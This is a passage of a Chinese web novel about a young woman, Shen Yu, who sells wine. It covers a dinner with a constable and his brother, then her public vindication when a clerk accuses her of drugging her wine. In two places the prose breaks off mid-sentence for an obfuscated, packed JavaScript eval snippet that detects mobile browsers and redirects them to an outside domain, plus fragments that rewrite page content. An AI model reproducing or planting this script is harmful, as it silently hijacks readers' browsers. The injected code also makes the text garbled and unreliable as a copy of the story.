沈铭语塞，只好老老实实地放下木剑。 也不知怎么回事，明明姐姐似乎还是那个温柔样子，他却会被姐姐说话的语气给吓到。 “这就是程捕头弟弟吧，真是一表人才。”沈钰主动去给程章打招呼，她第一次见人，和她想象中差不多，和他哥一样是个小冰块。 程章抬眸看了眼沈钰，将脸转过一边，没说话。 “叫人。”程易冷声道。 “沈钰姐。”程章本不想理人，可他哥这种语气，着实吓人，只好老老实实开口。 “害，没事没事。”沈钰好脾气地说。 和沈铭差不多大的程章，显得成熟多了，已经是一副小大人的做派。唇红齿白、面容精致的正太总是能让她多生出一丝宽容的。 招呼众人入座后，沈钰给在座的大人们，都倒上了一杯酒。小孩子们，则是喝上她事先煮好的酸梅汤。 清炒笋尖、酱焖排骨、醋溜白菜、炖山药老鸡汤……香气袅袅，一时间热气腾腾，院中却并不喧哗，反而透着种说不出的安稳。 柳氏早前看着沈钰那一桌子新奇瓶瓶罐罐还心里嘀咕，如今吃上一口香酥软糯的排骨，顿时闭嘴了。 “这排骨……比镇上酒楼的还入味。”她不由自主小声嘀咕一句。 沈二喝了一口鸡汤，也点了点头，“鸡汤火候够，还放了药材吧。” “二叔您也识这些？”沈钰笑着问。 “你忘了我年轻时给人跑过药材行，识得一点味道。”沈二颇有些怀旧地说。 刘婉低头吃着，眼神有些恍惚。她从来没坐过这样一桌饭。哪怕人多话少，却吃得心头热烫。 她突然觉得，有些东西，比好亲事、好名声，还来得珍贵。 “多谢，程捕头给我这面子。今日请您吃饭，是有几件事，想和您道个谢。” 沈钰清了清嗓子，继续开口道：“多谢程捕头一个多月起，在我落水时救我。其次，刘婉姐的事，也多谢程捕头出手了。” 刘婉在一旁听得连连点头。 “无事，分内之事。”程易看着沈钰敬酒的动作，神色淡然，只是桌子下他的一只手已握紧成拳。 “装什么。”程章看着他哥，暗自翻了个白眼，只是无人在意。 眼看酒菜过半，气氛越发热络。 沈铭却越看越觉得不对劲。 他目光偷偷扫了几眼，对面的程捕头表面安静喝酒，实则眼神总是往他姐那边飘。 每次沈钰倒酒、笑、夹菜，那位程大人看起来脸上没表情，耳尖却慢慢泛起一点红。 沈铭顿时警觉。 这人哪是来吃饭的？根本就是来探情况的吧！ “哼。”沈铭小声嘀咕一声，低头扒了两口饭，压下心中莫名的不爽。 “你哼什么？”沈钰头也不回地问。 “我哼……我哼菜太咸了。”沈铭胡乱扯了句。 沈钰回头看他，“那你怎么夹那么多？” “我、我这不是怕你做的菜没人吃嘛！” 一旁的程章冷哼了一声：“嘴真硬。” “你说谁嘴硬？”沈铭瞬间炸毛。 程章看都不看他，淡淡道：“谁回得快谁嘴硬。” “你！”沈铭举着筷子，瞪他，“你就仗着你哥在！” 她看着面前两个小孩，一个炸毛，一个嘴硬，竟觉得这饭吃得格外香。 沈铭忽然回忆起之前那回雨夜自家姐姐落水，老是出现在他们摊位前东看看西看看的身影…… 真有点不对劲！ 沈铭越想越气，忽然站起身：“我吃饱了，我要去练剑。” 说完拿起那把木剑，呼哧呼哧地跑到了院角，对着一棵老杏树比划起来。 众人皆是一怔。 沈钰捂额，轻声叹气：“这孩子，闹哪出啊……” 这时，巧巧忽然扯了扯沈钰的袖子，小声问：“姨姨，程章哥哥是第一次来咱们家吗？” “是呀。”沈钰温柔地应着。 “那……以后还能来吗？”巧巧有些不好意思地问。 沈钰抿唇笑了笑，“你想他来？” 巧巧点点头，又连忙补充：“沈铭哥哥也要在！” “好好好。”沈钰笑着摸了摸她的发顶。 坐在一旁的程章没说话，白玉般的脸上却浮现了点红，故作镇定地喝了一大口酸梅汤，抬头却与沈钰的目光对上，吓得咳了一声。 沈钰忙递了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763921|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帕子，“别急，小心呛着。” “……没事。”程章低着头，声音闷闷的，“你煮得酸梅汤太酸了。” “嘴倒是挺挑。”沈钰轻笑。 饭局就在这热热闹闹、暗暗翻涌的气氛中接近尾声。 饭后，众人散了些，沈铭还在屋后比划剑招。巧巧打了个哈欠，已经让刘婉抱回去睡了。 程章坐在门槛边，怀里抱着空了的酸梅汤盏，低头，不知在想什么。 沈钰收拾完碗筷，犹豫了一下，还是走了过去，在他身边坐下。 少年微微一僵，却没动。 “今天这顿饭，有你在，挺热闹的。”沈钰轻声说。 程章没吭声。 “你是不是……有点不太习惯？”她语气温和，没有试探，只有随意。 过了好一会儿，程章闷声道：“太吵。” “嗯，是挺吵。”沈钰点头，“但我小时候家里比这还吵，二叔和我爹一喝酒就吵着谁力气大。吵归吵，转天又一起下地干活。” 她顿了顿，“你要是觉得不喜欢，下次我让沈铭离你远点。” “……也没那么讨厌。”少年抿嘴，“他剑法虽然差，但人不坏。” “你今天没回嘴，已经很给他面子了。”沈钰轻笑。 程章耳根有些红，小声道：“不是给他，是……看在你面子上。” 沈钰一怔，轻轻看了他一眼。 少年低着头，又小声补了一句，“你做的菜挺好吃的。” 这已经是他能挤出来的最大赞美了。 沈钰心里发软，语气更轻：“那下次多来几次，多吃点。” 程章转头瞥她，抿着嘴点了点头。 老杏树下，沈铭还抱着木剑不依不饶地挥着，气鼓鼓地不肯停。 “练得不错。”沈钰走过去，随口夸了一句。 沈铭一哼，停下动作，蹲在地上闷声道：“他就是故意来气我。” “你说程章啊？”沈钰在他旁边坐下，抬头看天，“你们年纪差不多，脾气像，嘴又硬，我看挺像一对冤家。” 沈铭不吭声。 “你真的讨厌他？还是有点羡慕嫉妒他？” “我才没有！”沈铭猛地抬头，耳根却红了。 沈钰笑，“我弟弟最厉害了，剑法又帅，可别人来做客，咱们也不能一直板着脸。” 沈铭撅着嘴，犹豫了一会儿，才咬牙说：“那……我是不是得跟他说话？” “嗯，去给人说句话，你俩也就扯平了。”沈钰拍拍他肩，“姐姐请你吃一碗糖水山楂。” “……加红枣的那种？” “那得看你诚意。” 沈铭磨蹭地站起来，踱到屋檐下，程章正抱着酸梅汤坐在门槛边，目光瞥过来。 “喂。”沈铭清了清嗓子。 程章挑眉。 沈铭摆出一副大人大量的样子：“上次的事，我不跟你计较了。” 片刻后，程章闷声回了一句：“我也没理你，算扯平。” 气氛停了一拍。 “不过你那剑招真的不行。”程章补了一句。 “你说什么？！” “我可以教你。”程章慢吞吞地补了句，“我跟我哥以前练过。” 沈铭愣了一下。 “那、那你讲得清楚点。” 两个少年一前一后走到空地上，继续比划起来，声音越发热闹。 沈钰站在门后看着，嘴角不觉上扬。 12. 问询 初夏的晨风带着几分黏意，街头巷尾氤氲着湿润的气息。街角的摊子多还未支起，唯有沈钰的摊位前，已围了三四人。 站在最前头的，是位年约五旬的汉子，头上裹着一方灰布巾，衣袖微卷，手里拎着一只旧陶壶，壶身还残留着她家的封绳。 “姑娘，前儿那酒还有没？我侄儿婚宴上想摆你家的花酿。”他说话嗓门不大，但语气里透着殷切。 沈钰正俯身打包，一听这话，微笑着抬起头，语气轻快：“婚宴讲究酒香持久，若您不嫌弃，我从陈酿里挑一坛，给您亲自送上门。” 说话间，沈钰将几壶新酒摆上摊面。酒壶以素白陶釉烧制，壶口封泥未干，壶身系着细细的红绳。 这批花酿是她昨日开坛的，今日有不少客人特意绕路赶来。 “沈姑娘的酒，怕不是用了什么仙法吧？”人群中有人打趣。 “可不是，我爹都说，她家的酒比起那些大店口味还好不少呢。” 人群中你一言我一语，气氛显得十分热络。 沈钰嘴角一勾，没理会众人的打趣，她将点心递出，目光却悄然扫向摊后角落。 那里站着一名身形消瘦、衣着干净却神情游移的中年男子。他站得不远不近，神情沉静却显游移，不说话，也不买酒，只一遍遍盯着她案上的几壶新酒。 更叫人在意的，是他几次试图靠近沈钰摆在桌角的小账册，却在她抬眸时迅速收回视线。 沈钰心中已有定数，动作未停，只是将酒壶一一重新封好，拎进竹篮中。 她俯身凑近刘婉，小声道：“姐，今日别让巧巧乱跑了，街上不安生。” 刘婉正在包最后一壶酒，闻言愣了一下，抬头望她，见沈钰眉宇间已无往日从容，反倒多了几分冷静下的绷紧。 刘婉正将一壶酒包好，闻言抬头，见她眉眼间隐了几分凝重，也不由紧了紧神色：“出事了？” “有人盯上咱们了。”沈钰没有再多解释，只将摊前几件要紧物品收整妥当，留神观察着人群动静。 刘婉心中虽不安，但终究信她主意稳妥，没再追问，只是强打精神继续招呼客人，笑意已明显有些勉强。 果不其然，不到辰时末，街头鼓声一响，县署的差役便到了。 为首的小吏身着青灰官袍，个子不高，面目精干，嘴角微微下撇，一看就是那种鸡蛋里挑骨头的主。他身后跟着两名身材高大的牙差，手执短棍，一入市集，便直奔沈钰的摊前。 “谁是沈钰？”来人语气不善。 沈钰早有预料。 她站起身，神色平静：“我是。” 小吏打量了她几眼，嘴角勾起一抹刻意的威严：“本官奉命前来查实，有人举报你售酒非法，疑似掺入迷香等诱醉物，扰乱市井秩序。现需封存你所售酒水，带回县署查验。” 话音一落，周围人纷纷驻足，议论声四起。 “胡说八道！我喝了她家的酒半个月了，咋没见迷倒谁？” “沈姑娘一向谨慎，她酒里掺那种东西？笑话！” “十有八九是有人嫉妒。” 沈钰的声音不高，却透着一股干净利落的笃定：“大人若要查，自可查。但按律，民酿售酒若涉举报，须先核配方、后试饮、再定存封。不知贵署，可带了县中定法笔录与试酒册来？” 小吏一噎，显然没料到她懂这些流程。 “你……你一个卖酒的，倒背得清。这不用你操心，自然是合规查办。” 自上次被罚后，沈钰便回去细读律典，将本朝关于酒品买卖的章程背得滚瓜烂熟。 沈钰微微一笑，从篮中取出一封油纸封的薄册：“这是我每批酒的曲方、草料记录，原料均采自本地山花、桂露，无半分香粉。若大人信不过，我也备了小样。大人也可随我回家中取得酒样。” 说罢，她当众倒出少许花酿，亲口试饮，神情自若：“我命不硬，断不敢拿性命赌生意。若真有异样，大人尽可查。” 周围顷刻安静。 那小吏脸色难看，嘴唇翕动，却被她步步压制，不知如何开口。 “本官不通酒理。”他冷笑，“但你这酒香色太盛，极不寻常。县令若问起，你拿什么自证清白？” 沈钰坦然道：“我每日售酒皆有账目可查。大人若不信，便带我回县署当堂试酒。若真查出半分不妥，我愿弃业伏罪。” 人群顿时炸开了锅。 “这姑娘敢当场立誓，定然没假！” “她要是掺香粉，那我们天天喝的岂不是都要进号房？” “不过也说不准，我家里那口子，自从喝过她酿的酒，就再喝不进别家的了，谁知道她有没有在酒里下药。” 官差一时被沈钰从容不迫的态度惹的拉不下脸，但他们本就是接了上头的意思，来给沈钰使绊子，不会轻易放过她。 “沈姑娘，既然如此，那就麻烦你和我们走一趟吧。若真有问题，别怪我们不客气了。” 沈钰行礼：“大人，请吧。” 县署大堂。 青砖铺地，屋顶高挑，两侧燃着淡淡檀香，几道阳光从格窗里洒入，投在灰青石板上。沈钰跟着几人入内，一路无声。 待进堂后，那位小吏吩咐左右备水、抬来木桌，又取来几只空瓷杯，语气不善道：“你既敢当街叫板，那便照你说的，当堂试酒。” “可有旁人作证？”沈钰扫了一眼四周，“查酒本非大事，既牵扯民信，自当公开。” 小吏冷哼一声：“自然有。”随即吩咐一名衙役道，“去街口请酒行的李掌柜、陈老五，还有‘万安堂’的曹掌来作证。” 不多时，三人陆续进堂。 李掌柜是县中老字号酒铺的主事，常年操酒，鼻子极灵；陈老五则是制酒世家的闲人，专门替人看曲评酒；而曹掌柜乃药铺出身，对气味尤其敏感。 “几位，”小吏手一抬，“眼前这女子所售酒水，有人举报掺入迷香之类诱醉物。今日请三位到场，一为品鉴酒液，二为公证真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763922|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伪。” “自然。”曹掌柜抚须点头，“公事在前，老朽自当分辨。” 沈钰将篮子放上案头，取出两只小瓷瓶，她亲手启封，倒入三只瓷盏中，酒液清澈泛光。 “诸位请。”她淡淡开口。 三人先后上前，曹掌柜凑近一嗅，微微挑眉，又举盏轻啜一口，抿在唇齿之间，喉头动了动，良久才慢悠悠地放下。 “这酒香气馥郁，确非香粉。所用者应为花香自然发酵而出。若真是‘迷香’，老夫一闻便能察觉。” 陈老五早拿起另两杯，对着光看色，低声嘟囔：“酒体净润、澄亮如蜜……这法子我认得，好像早年某位酿酒店大家的手法。” “老陈说得没错。”李掌柜将小册子翻看两页，叹道，“这姑娘手艺讲究，曲方与花料搭得准，且日子火候都记得清清楚楚。能做出这酒，怕不只是普通摊贩。” 小吏脸色青白交错，站在原地，像是想说什么，却几次张口无果。 “这酒不假。”曹掌柜放下酒盏，环视四周，“且姑娘不避堂试，文案俱全，未有逃避之态，旁人可无妄言。” “县署若真要问此酒虚实，不如去问那些胡乱举报之人。” “是啊，”陈老五点头，“这姑娘既能开口说试酒，又自饮，说明心里没鬼。若说掺香，那这年头真酒都没人敢喝了。” 听得众人言语，大堂内众目皆转向沈钰，她却神情依旧，只低头整理桌面，将封泥与小瓷壶一一收妥。 小吏咳了一声，还想再找台阶下，却听那曹掌柜再道：“若无实据，此番传唤本就有失公允。若我等未到，岂不冤了这姑娘？” 堂下一片附和。 站在角落的两个牙差对视一眼，显然也有些尴尬。 一名年长衙役凑近，小声道：“头儿，恐怕这事……不好硬扯了。” 小吏脸色难看，指节已攥得发白，良久才冷冷道：“既然诸位都说没问题，那今日就此作罢。但你记着，若改日真出了事，本官必不留情！” 沈钰朝他盈盈一礼，声音清朗：“多谢大人公断。贱民求生，最怕不明不白。若能照章行事，自也愿配合到底。” 出了县署天已过午，日头正烈。 刘婉正守在门前，一见她安然归来，心头才落下大半：“他们可有难为你？” 沈钰摇摇头，从袖中抽出被盖了印章的登记回执：“反倒是让我回去再补个临时摊贩报备。” “可你不是已经有酒引了？怎么还？” “呵，上头的人想要整你，哪管这些，”沈钰望向街口人来人往，语气平静中透着野心，“若要把我家的酒水生意做大，光靠一个摊子可不够。” 沈钰摸了摸袖中那本草料册，像是下定了决心： “得开一间正式的酒坊了。” 刘婉瞪大眼：“你是说……要有个招牌？门面？那得花不少银子呢。” “先不急。”沈钰笑道，“我得先把账算清楚，再找合适的铺面。”